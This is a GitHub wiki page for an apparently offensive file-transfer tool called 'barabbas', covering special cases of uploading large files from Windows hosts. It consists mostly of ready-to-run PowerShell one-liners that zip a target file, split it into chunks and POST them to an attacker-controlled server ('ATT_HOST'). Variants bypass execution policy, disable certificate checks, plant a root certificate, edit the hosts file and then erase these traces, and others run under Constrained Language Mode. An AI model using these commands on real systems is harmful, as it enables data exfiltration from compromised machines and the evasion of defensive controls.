UL_ _Win_ _Special_Cases - lighthouseitsecurity/barabbas GitHub Wiki

File Upload ➔ Windows ➔ Special Cases

OVERVIEW:

Invoke-RestMethod - large file upload

  • Overview:
    • PowerShell cmdlet
      • aliases:
        • irm
    • for X.509 certificate validation to work, its Common Name field must contain one of the following:
      • a locally DNS-resolvable hostname/FQDN
        • solved, by modifying the hosts file (requires local administrative privileges)
      • the IP address of the listening network interface (that is being accessed; requires local administrative privileges)
        • NOTE: no real advantage is gained, since the client still must be executed with elevated privileges (i.e. only avoids writing to hosts file)
    • works good/reliable
      • using Credentials parameter results with errors, when uploading larger files, as observed during testing
        • workaround - manually add HTTP Authorization request header
    • slow (compared to System.Net.WebClient)

NOTE: adjust values to target environment, as required (e.g. file chunk size)

[HIGH PRIV] HTTPS + password authentication + check certificate (CN = hostname)

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

1. [SERVER] setup web server

sudo su
barabbas -i 192.168.5.11 -a 192.168.5.16 -up testuser:testpass -cn testhost

2. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_USER="testuser";
$ATT_PASS="testpass";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

4. [CLIENT] upload file

echo '[*] STARTING FILE UPLOAD'; $curr_dir=$pwd; $b64_enc_up=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$ATT_USER`:$ATT_PASS")); $headers=@{'Authorization'="Basic $b64_enc_up"}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $curr_dir\cert.pem; Write-Host ("SHA256 Fingerprint=" + $([System.BitConverter]::ToString($cert.GetCertHash("SHA256")))); Write-Host ("   Issuer: " + $cert.Issuer); echo "   Validity"; Write-Host ("      Not Before: " + $cert.GetEffectiveDateString()); Write-Host ("      Not After : " + $cert.GetExpirationDateString()); Write-Host ("   Subject: " + $cert.Subject); $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); Import-Certificate -FilePath "$curr_dir\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; $ATT_URL="https://$ATT_HOSTNAME`:$ATT_PORT$ATT_PATH"; $hostsfile='C:\Windows\System32\drivers\etc\hosts'; Add-Content $hostsfile "`n$ATT_HOST $ATT_HOSTNAME"; mkdir $curr_dir\temp_zip > $null; Copy-Item $LFILE $curr_dir\temp_zip; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::CreateFromDirectory("$curr_dir\temp_zip", "$curr_dir\$LFILE.zip"); $marker=(-join(((48..57)+(97..102))*80 | Get-Random -Count 64 | %{[char]$_})); $ifstream=[System.IO.File]::OpenRead("$curr_dir\$LFILE.zip"); $chunk=1; $buffer=(New-Object byte[] 10485760); while($ifbytes=$ifstream.Read($buffer, 0, 10485760)) {$outfile="$curr_dir\CHUNK_$chunk`_$LFILE.zip"; $ofstream=[System.IO.File]::OpenWrite($outfile); $ofstream.Write($buffer, 0, $ifbytes); $ofstream.close(); "--$marker`nContent-Disposition: form-data; name=`"file`"; filename=`"CHUNK_$chunk`_$LFILE.zip`"`nContent-Type: application/zip" | Out-File -FilePath $curr_dir\body_file_prefix; "--$marker--`n" | Out-File -FilePath $curr_dir\body_file_postfix; Get-Content -Raw $curr_dir\body_file_prefix, $outfile, $curr_dir\body_file_postfix | Set-Content $curr_dir\test_body; $output=(Invoke-RestMethod -UseBasicParsing -Uri $ATT_URL -Headers $headers -Method Post -InFile $curr_dir\test_body -ContentType "multipart/form-data; boundary=$marker"); $output -match "</span></strong> (?<result>.*)</pre>" > $nul; echo ''; $matches['result']; echo "[*] LOCAL MD5: $((Get-FileHash $outfile -Algorithm MD5).Hash)"; Remove-Item $curr_dir\body_file_prefix, $curr_dir\body_file_postfix, $curr_dir\test_body, $outfile; $chunk+=1; }; $ifstream.close(); echo ''; echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $curr_dir\$LFILE -Algorithm MD5).Hash)  $LFILE"; Remove-Item -Recurse -Force $curr_dir\temp_zip, $curr_dir\$LFILE.zip, $curr_dir\cert.pem; $hosts=Get-Content $hostsfile; $hosts[0..($hosts.count - 3)] > $hostsfile; Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

5. [SERVER] assemble target file

export LFILE="testfile_200MB";
chunk_count=$(ls -1 CHUNK_* | grep "$LFILE" | wc -l); cat CHUNK_1_"$LFILE".zip > $LFILE.zip; for ((index=2; index<=$chunk_count; index++)); do cat CHUNK_$index\_"$LFILE".zip >> "$LFILE".zip; done; unzip "$LFILE".zip; echo "[*] LOCAL MD5 (SERVER): $(md5sum $LFILE)"; rm "$LFILE".zip; rm CHUNK_*_"$LFILE".zip;

[LOW PRIV] HTTPS + password authentication + no check certificate

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

1. [SERVER] setup web server

sudo su
barabbas -i 192.168.5.11 -a 192.168.5.16 -up testuser:testpass -cn testhost

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_USER="testuser";
$ATT_PASS="testpass";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

4. [CLIENT] upload file

echo '[*] STARTING FILE UPLOAD'; $curr_dir=$pwd; $b64_enc_up=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$ATT_USER`:$ATT_PASS")); $headers=@{'Authorization'="Basic $b64_enc_up"}; [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $ATT_URL="https://$ATT_HOST`:$ATT_PORT$ATT_PATH"; mkdir $curr_dir\temp_zip > $null; Copy-Item $LFILE $curr_dir\temp_zip; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::CreateFromDirectory("$curr_dir\temp_zip", "$curr_dir\$LFILE.zip"); $marker=(-join(((48..57)+(97..102))*80 | Get-Random -Count 64 | %{[char]$_})); $ifstream=[System.IO.File]::OpenRead("$curr_dir\$LFILE.zip"); $chunk=1; $buffer=(New-Object byte[] 10485760); while($ifbytes=$ifstream.Read($buffer, 0, 10485760)) {$outfile="$curr_dir\CHUNK_$chunk`_$LFILE.zip"; $ofstream=[System.IO.File]::OpenWrite($outfile); $ofstream.Write($buffer, 0, $ifbytes); $ofstream.close(); "--$marker`nContent-Disposition: form-data; name=`"file`"; filename=`"CHUNK_$chunk`_$LFILE.zip`"`nContent-Type: application/zip" | Out-File -FilePath $curr_dir\body_file_prefix; "--$marker--`n" | Out-File -FilePath $curr_dir\body_file_postfix; Get-Content -Raw $curr_dir\body_file_prefix, $outfile, $curr_dir\body_file_postfix | Set-Content $curr_dir\test_body; $output=(Invoke-RestMethod -UseBasicParsing -Uri $ATT_URL -Headers $headers -Method Post -InFile $curr_dir\test_body -ContentType "multipart/form-data; boundary=$marker"); $output -match "</span></strong> (?<result>.*)</pre>" > $nul; echo ''; $matches['result']; echo "[*] LOCAL MD5: $((Get-FileHash $outfile -Algorithm MD5).Hash)"; Remove-Item $curr_dir\body_file_prefix, $curr_dir\body_file_postfix, $curr_dir\test_body, $outfile; $chunk+=1; }; $ifstream.close(); echo ''; echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $curr_dir\$LFILE -Algorithm MD5).Hash)  $LFILE"; Remove-Item -Recurse -Force $curr_dir\temp_zip, $curr_dir\$LFILE.zip;

5. [SERVER] assemble target file

export LFILE="testfile_200MB";
chunk_count=$(ls -1 CHUNK_* | grep "$LFILE" | wc -l); cat CHUNK_1_"$LFILE".zip > $LFILE.zip; for ((index=2; index<=$chunk_count; index++)); do cat CHUNK_$index\_"$LFILE".zip >> "$LFILE".zip; done; unzip "$LFILE".zip; echo "[*] LOCAL MD5 (SERVER): $(md5sum $LFILE)"; rm "$LFILE".zip; rm CHUNK_*_"$LFILE".zip;

Invoke-WebRequest - large file upload

  • Overview:
    • PowerShell cmdlet
      • aliases:
        • iwr
        • wget
        • curl
    • for X.509 certificate validation to work, its Common Name field must contain one of the following:
      • a locally DNS-resolvable hostname/FQDN
        • solved, by modifying the hosts file (requires local administrative privileges)
      • the IP address of the listening network interface (that is being accessed; requires local administrative privileges)
        • NOTE: no real advantage is gained, since the client still must be executed with elevated privileges (i.e. only avoids writing to hosts file)
    • works good/reliable
      • using Credentials parameter results with errors, when uploading larger files, as observed during testing
        • workaround - manually add HTTP Authorization request header
    • slow (compared to System.Net.WebClient)

NOTE: adjust values to target environment, as required (e.g. file chunk size)

[HIGH PRIV] HTTPS + password authentication + check certificate (CN = hostname)

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

1. [SERVER] setup web server

sudo su
barabbas -i 192.168.5.11 -a 192.168.5.16 -up testuser:testpass -cn testhost

2. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_USER="testuser";
$ATT_PASS="testpass";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

4. [CLIENT] upload file

echo '[*] STARTING FILE UPLOAD'; $curr_dir=$pwd; $b64_enc_up=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$ATT_USER`:$ATT_PASS")); $headers=@{'Authorization'="Basic $b64_enc_up"}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $curr_dir\cert.pem; Write-Host ("SHA256 Fingerprint=" + $([System.BitConverter]::ToString($cert.GetCertHash("SHA256")))); Write-Host ("   Issuer: " + $cert.Issuer); echo "   Validity"; Write-Host ("      Not Before: " + $cert.GetEffectiveDateString()); Write-Host ("      Not After : " + $cert.GetExpirationDateString()); Write-Host ("   Subject: " + $cert.Subject); $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); Import-Certificate -FilePath "$curr_dir\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; $ATT_URL="https://$ATT_HOSTNAME`:$ATT_PORT$ATT_PATH"; $hostsfile='C:\Windows\System32\drivers\etc\hosts'; Add-Content $hostsfile "`n$ATT_HOST $ATT_HOSTNAME"; mkdir $curr_dir\temp_zip > $null; Copy-Item $LFILE $curr_dir\temp_zip; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::CreateFromDirectory("$curr_dir\temp_zip", "$curr_dir\$LFILE.zip"); $marker=(-join(((48..57)+(97..102))*80 | Get-Random -Count 64 | %{[char]$_})); $ifstream=[System.IO.File]::OpenRead("$curr_dir\$LFILE.zip"); $chunk=1; $buffer=(New-Object byte[] 10485760); while($ifbytes=$ifstream.Read($buffer, 0, 10485760)) {$outfile="$curr_dir\CHUNK_$chunk`_$LFILE.zip"; $ofstream=[System.IO.File]::OpenWrite($outfile); $ofstream.Write($buffer, 0, $ifbytes); $ofstream.close(); "--$marker`nContent-Disposition: form-data; name=`"file`"; filename=`"CHUNK_$chunk`_$LFILE.zip`"`nContent-Type: application/zip" | Out-File -FilePath $curr_dir\body_file_prefix; "--$marker--`n" | Out-File -FilePath $curr_dir\body_file_postfix; Get-Content -Raw $curr_dir\body_file_prefix, $outfile, $curr_dir\body_file_postfix | Set-Content $curr_dir\test_body; $output=(Invoke-WebRequest -UseBasicParsing -Uri $ATT_URL -Headers $headers -Method Post -InFile $curr_dir\test_body -ContentType "multipart/form-data; boundary=$marker"); $output -match "</span></strong> (?<result>.*)</pre>" > $nul; echo ''; $matches['result']; echo "[*] LOCAL MD5: $((Get-FileHash $outfile -Algorithm MD5).Hash)"; Remove-Item $curr_dir\body_file_prefix, $curr_dir\body_file_postfix, $curr_dir\test_body, $outfile; $chunk+=1; }; $ifstream.close(); echo ''; echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $curr_dir\$LFILE -Algorithm MD5).Hash)  $LFILE"; Remove-Item -Recurse -Force $curr_dir\temp_zip, $curr_dir\$LFILE.zip, $curr_dir\cert.pem; $hosts=Get-Content $hostsfile; $hosts[0..($hosts.count - 3)] > $hostsfile; Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

5. [SERVER] assemble target file

export LFILE="testfile_200MB";
chunk_count=$(ls -1 CHUNK_* | grep "$LFILE" | wc -l); cat CHUNK_1_"$LFILE".zip > $LFILE.zip; for ((index=2; index<=$chunk_count; index++)); do cat CHUNK_$index\_"$LFILE".zip >> "$LFILE".zip; done; unzip "$LFILE".zip; echo "[*] LOCAL MD5 (SERVER): $(md5sum $LFILE)"; rm "$LFILE".zip; rm CHUNK_*_"$LFILE".zip;

[LOW PRIV] HTTPS + password authentication + no check certificate

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

1. [SERVER] setup web server

sudo su
barabbas -i 192.168.5.11 -a 192.168.5.16 -up testuser:testpass -cn testhost

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_USER="testuser";
$ATT_PASS="testpass";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

4. [CLIENT] upload file

echo '[*] STARTING FILE UPLOAD'; $curr_dir=$pwd; $b64_enc_up=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$ATT_USER`:$ATT_PASS")); $headers=@{'Authorization'="Basic $b64_enc_up"}; [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $ATT_URL="https://$ATT_HOST`:$ATT_PORT$ATT_PATH"; mkdir $curr_dir\temp_zip > $null; Copy-Item $LFILE $curr_dir\temp_zip; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::CreateFromDirectory("$curr_dir\temp_zip", "$curr_dir\$LFILE.zip"); $marker=(-join(((48..57)+(97..102))*80 | Get-Random -Count 64 | %{[char]$_})); $ifstream=[System.IO.File]::OpenRead("$curr_dir\$LFILE.zip"); $chunk=1; $buffer=(New-Object byte[] 10485760); while($ifbytes=$ifstream.Read($buffer, 0, 10485760)) {$outfile="$curr_dir\CHUNK_$chunk`_$LFILE.zip"; $ofstream=[System.IO.File]::OpenWrite($outfile); $ofstream.Write($buffer, 0, $ifbytes); $ofstream.close(); "--$marker`nContent-Disposition: form-data; name=`"file`"; filename=`"CHUNK_$chunk`_$LFILE.zip`"`nContent-Type: application/zip" | Out-File -FilePath $curr_dir\body_file_prefix; "--$marker--`n" | Out-File -FilePath $curr_dir\body_file_postfix; Get-Content -Raw $curr_dir\body_file_prefix, $outfile, $curr_dir\body_file_postfix | Set-Content $curr_dir\test_body; $output=(Invoke-WebRequest -UseBasicParsing -Uri $ATT_URL -Headers $headers -Method Post -InFile $curr_dir\test_body -ContentType "multipart/form-data; boundary=$marker"); $output -match "</span></strong> (?<result>.*)</pre>" > $nul; echo ''; $matches['result']; echo "[*] LOCAL MD5: $((Get-FileHash $outfile -Algorithm MD5).Hash)"; Remove-Item $curr_dir\body_file_prefix, $curr_dir\body_file_postfix, $curr_dir\test_body, $outfile; $chunk+=1; }; $ifstream.close(); echo ''; echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $curr_dir\$LFILE -Algorithm MD5).Hash)  $LFILE"; Remove-Item -Recurse -Force $curr_dir\temp_zip, $curr_dir\$LFILE.zip;

5. [SERVER] assemble target file

export LFILE="testfile_200MB";
chunk_count=$(ls -1 CHUNK_* | grep "$LFILE" | wc -l); cat CHUNK_1_"$LFILE".zip > $LFILE.zip; for ((index=2; index<=$chunk_count; index++)); do cat CHUNK_$index\_"$LFILE".zip >> "$LFILE".zip; done; unzip "$LFILE".zip; echo "[*] LOCAL MD5 (SERVER): $(md5sum $LFILE)"; rm "$LFILE".zip; rm CHUNK_*_"$LFILE".zip;

System.Net.WebClient.UploadFile - large file upload

  • Overview:
    • .NET class method
    • for X.509 certificate validation to work, its Common Name field must contain one of the following:
      • a locally DNS-resolvable hostname/FQDN
        • solved, by modifying the hosts file (requires local administrative privileges)
      • the IP address of the listening network interface (that is being accessed; requires local administrative privileges)
        • NOTE: no real advantage is gained, since the client still must be executed with elevated privileges (i.e. only avoids writing to hosts file)
    • works good/reliable
    • very fast (compared to Invoke-RestMethod and Invoke-WebRequest)

NOTE: adjust values to target environment, as required (e.g. file chunk size)

[HIGH PRIV] HTTPS + password authentication + check certificate (CN = hostname)

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

1. [SERVER] setup web server

sudo su
barabbas -i 192.168.5.11 -a 192.168.5.16 -up testuser:testpass -cn testhost

2. [CLIENT] open PowerShell session

(open command prompt with local administrative privileges)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_USER="testuser";
$ATT_PASS="testpass";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

4. [CLIENT] upload file

echo '[*] STARTING FILE UPLOAD'; $curr_dir=$pwd; $b64_enc_up=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$ATT_USER`:$ATT_PASS")); $headers=@{'Authorization'="Basic $b64_enc_up"}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $webRequest=[Net.WebRequest]::Create("https://$ATT_HOST`:$ATT_PORT/"); try {$webRequest.GetResponse()} catch {}; $cert=$webRequest.ServicePoint.Certificate; $certBytes=$cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert); $oPem=(New-Object System.Text.StringBuilder); $oPem.AppendLine("-----BEGIN CERTIFICATE-----") > $null; $oPem.AppendLine([System.Convert]::ToBase64String($certBytes,1)) > $null; $oPem.AppendLine("-----END CERTIFICATE-----") > $null; $oPem.ToString() | Out-File $curr_dir\cert.pem; Write-Host ("SHA256 Fingerprint=" + $([System.BitConverter]::ToString($cert.GetCertHash("SHA256")))); Write-Host ("   Issuer: " + $cert.Issuer); echo "   Validity"; Write-Host ("      Not Before: " + $cert.GetEffectiveDateString()); Write-Host ("      Not After : " + $cert.GetExpirationDateString()); Write-Host ("   Subject: " + $cert.Subject); $ATT_HOSTNAME=($cert.Issuer.Split(',')[0]).Substring(3); Import-Certificate -FilePath "$curr_dir\cert.pem" -CertStoreLocation "Cert:\LocalMachine\Root" > $null; $ATT_URL="https://$ATT_HOSTNAME`:$ATT_PORT$ATT_PATH"; $hostsfile='C:\Windows\System32\drivers\etc\hosts'; Add-Content $hostsfile "`n$ATT_HOST $ATT_HOSTNAME"; mkdir $curr_dir\temp_zip > $null; Copy-Item $LFILE $curr_dir\temp_zip; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::CreateFromDirectory("$curr_dir\temp_zip", "$curr_dir\$LFILE.zip"); $ifstream=[System.IO.File]::OpenRead("$curr_dir\$LFILE.zip"); $chunk=1; $buffer=(New-Object byte[] 10485760); $webClient=(New-Object System.Net.WebClient); $webClient.Headers.Add("Authorization", "Basic $b64_enc_up"); while($ifbytes=$ifstream.Read($buffer, 0, 10485760)) {$outfile="$curr_dir\CHUNK_$chunk`_$LFILE.zip"; $ofstream=[System.IO.File]::OpenWrite($outfile); $ofstream.Write($buffer, 0, $ifbytes); $ofstream.close(); $output=([System.Text.Encoding]::ASCII.GetString($webClient.UploadFile($ATT_URL, "POST", $outfile))); $output -match "</span></strong> (?<result>.*)</pre>" > $nul; echo ''; $matches['result']; echo "[*] LOCAL MD5: $((Get-FileHash $outfile -Algorithm MD5).Hash)"; Remove-Item $outfile; $chunk+=1; }; $ifstream.close(); echo ''; echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $curr_dir\$LFILE -Algorithm MD5).Hash)  $LFILE"; Remove-Item -Recurse -Force $curr_dir\temp_zip, $curr_dir\$LFILE.zip, $curr_dir\cert.pem; $hosts=Get-Content $hostsfile; $hosts[0..($hosts.count - 3)] > $hostsfile; Get-ChildItem -Path "Cert:\LocalMachine\Root" | Where-Object {$_.Subject -match $ATT_HOSTNAME} | Remove-Item -Force;

5. [SERVER] assemble target file

export LFILE="testfile_200MB";
chunk_count=$(ls -1 CHUNK_* | grep "$LFILE" | wc -l); cat CHUNK_1_"$LFILE".zip > $LFILE.zip; for ((index=2; index<=$chunk_count; index++)); do cat CHUNK_$index\_"$LFILE".zip >> "$LFILE".zip; done; unzip "$LFILE".zip; echo "[*] LOCAL MD5 (SERVER): $(md5sum $LFILE)"; rm "$LFILE".zip; rm CHUNK_*_"$LFILE".zip;

[LOW PRIV] HTTPS + password authentication + no check certificate

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

1. [SERVER] setup web server

sudo su
barabbas -i 192.168.5.11 -a 192.168.5.16 -up testuser:testpass -cn testhost

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="443";
$ATT_USER="testuser";
$ATT_PASS="testpass";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

4. [CLIENT] upload file

echo '[*] STARTING FILE UPLOAD'; $curr_dir=$pwd; $b64_enc_up=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes("$ATT_USER`:$ATT_PASS")); $headers=@{'Authorization'="Basic $b64_enc_up"}; [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; [System.Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; $ATT_URL="https://$ATT_HOST`:$ATT_PORT$ATT_PATH"; mkdir $curr_dir\temp_zip > $null; Copy-Item $LFILE $curr_dir\temp_zip; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::CreateFromDirectory("$curr_dir\temp_zip", "$curr_dir\$LFILE.zip"); $ifstream=[System.IO.File]::OpenRead("$curr_dir\$LFILE.zip"); $chunk=1; $buffer=(New-Object byte[] 10485760); $webClient=(New-Object System.Net.WebClient); $webClient.Headers.Add("Authorization", "Basic $b64_enc_up"); while($ifbytes=$ifstream.Read($buffer, 0, 10485760)) {$outfile="$curr_dir\CHUNK_$chunk`_$LFILE.zip"; $ofstream=[System.IO.File]::OpenWrite($outfile); $ofstream.Write($buffer, 0, $ifbytes); $ofstream.close(); $output=([System.Text.Encoding]::ASCII.GetString($webClient.UploadFile($ATT_URL, "POST", $outfile))); $output -match "</span></strong> (?<result>.*)</pre>" > $nul; echo ''; $matches['result']; echo "[*] LOCAL MD5: $((Get-FileHash $outfile -Algorithm MD5).Hash)"; Remove-Item $outfile; $chunk+=1; }; $ifstream.close(); echo ''; echo "[*] LOCAL MD5 (CLIENT): $((Get-FileHash $curr_dir\$LFILE -Algorithm MD5).Hash)  $LFILE"; Remove-Item -Recurse -Force $curr_dir\temp_zip, $curr_dir\$LFILE.zip;

5. [SERVER] assemble target file

export LFILE="testfile_200MB";
chunk_count=$(ls -1 CHUNK_* | grep "$LFILE" | wc -l); cat CHUNK_1_"$LFILE".zip > $LFILE.zip; for ((index=2; index<=$chunk_count; index++)); do cat CHUNK_$index\_"$LFILE".zip >> "$LFILE".zip; done; unzip "$LFILE".zip; echo "[*] LOCAL MD5 (SERVER): $(md5sum $LFILE)"; rm "$LFILE".zip; rm CHUNK_*_"$LFILE".zip;

Invoke-RestMethod - file upload with CLM

  • NOTE: works with CLM (Constrained Language Mode), in specific client configurations
    • simplified form of previously documented file transfer techniques (HTTP/cleartext only)
    • possible, when only allowed types are used

[LOW PRIV] HTTP + no password authentication

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

1. [SERVER] setup web server

sudo su
barabbas -da -de -p 80 -i 192.168.5.11 -a 192.168.5.16

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

4. [CLIENT] confirm Constrained Language Mode is enforced

$ExecutionContext.SessionState.LanguageMode;

5. [CLIENT] upload file

echo '[*] STARTING FILE UPLOAD'; $curr_dir=$pwd; $ATT_URL="http://$ATT_HOST`:$ATT_PORT$ATT_PATH"; "--4a39c46b-6e4f-4633-85de-2c384ff84f27`nContent-Disposition: form-data; name=`"file`"; filename=`"$LFILE`"`nContent-Type: application/octet-stream" | Out-File -FilePath $curr_dir\body_file_prefix; "--4a39c46b-6e4f-4633-85de-2c384ff84f27--`n" | Out-File -FilePath $curr_dir\body_file_postfix; Get-Content -Raw $curr_dir\body_file_prefix, $curr_dir\$LFILE, $curr_dir\body_file_postfix | Set-Content $curr_dir\test_body; $output=(Invoke-RestMethod -UseBasicParsing -Uri $ATT_URL -Method Post -InFile $curr_dir\test_body -ContentType "multipart/form-data; boundary=4a39c46b-6e4f-4633-85de-2c384ff84f27"); $output -match "</span></strong> (?<result>.*)</pre>" > $nul; $matches['result']; Remove-Item $curr_dir\body_file_prefix, $curr_dir\body_file_postfix, $curr_dir\test_body; $out=certutil.exe -hashfile $LFILE MD5; $md5=$out.split('`n')[1]; echo "[*] LOCAL MD5 (CLIENT): $md5  $LFILE";

Invoke-WebRequest - file upload with CLM

  • NOTE: works with CLM (Constrained Language Mode), in specific client configurations
    • simplified form of previously documented file transfer techniques (HTTP/cleartext only)
    • possible, when only allowed types are used

[LOW PRIV] HTTP + no password authentication

TESTED ON: Windows 10 (22H2); Windows Server 2022 (21H2)

1. [SERVER] setup web server

sudo su
barabbas -da -de -p 80 -i 192.168.5.11 -a 192.168.5.16

2. [CLIENT] open PowerShell session

(open command prompt)

powershell.exe -ep bypass -nop

3. [CLIENT] specify file transfer parameters

$ATT_HOST="192.168.5.11";
$ATT_PORT="80";
$ATT_PATH="/";
$LFILE="testfile_200MB";

NOTE: copy target file to current directory

4. [CLIENT] confirm Constrained Language Mode is enforced

$ExecutionContext.SessionState.LanguageMode;

5. [CLIENT] upload file

echo '[*] STARTING FILE UPLOAD'; $curr_dir=$pwd; $ATT_URL="http://$ATT_HOST`:$ATT_PORT$ATT_PATH"; "--4a39c46b-6e4f-4633-85de-2c384ff84f27`nContent-Disposition: form-data; name=`"file`"; filename=`"$LFILE`"`nContent-Type: application/octet-stream" | Out-File -FilePath $curr_dir\body_file_prefix; "--4a39c46b-6e4f-4633-85de-2c384ff84f27--`n" | Out-File -FilePath $curr_dir\body_file_postfix; Get-Content -Raw $curr_dir\body_file_prefix, $curr_dir\$LFILE, $curr_dir\body_file_postfix | Set-Content $curr_dir\test_body; $output=(Invoke-WebRequest -UseBasicParsing -Uri $ATT_URL -Method Post -InFile $curr_dir\test_body -ContentType "multipart/form-data; boundary=4a39c46b-6e4f-4633-85de-2c384ff84f27"); $output -match "</span></strong> (?<result>.*)</pre>" > $nul; $matches['result']; Remove-Item $curr_dir\body_file_prefix, $curr_dir\body_file_postfix, $curr_dir\test_body; $out=certutil.exe -hashfile $LFILE MD5; $md5=$out.split('`n')[1]; echo "[*] LOCAL MD5 (CLIENT): $md5  $LFILE";

⚠️ **GitHub.com Fallback** ⚠️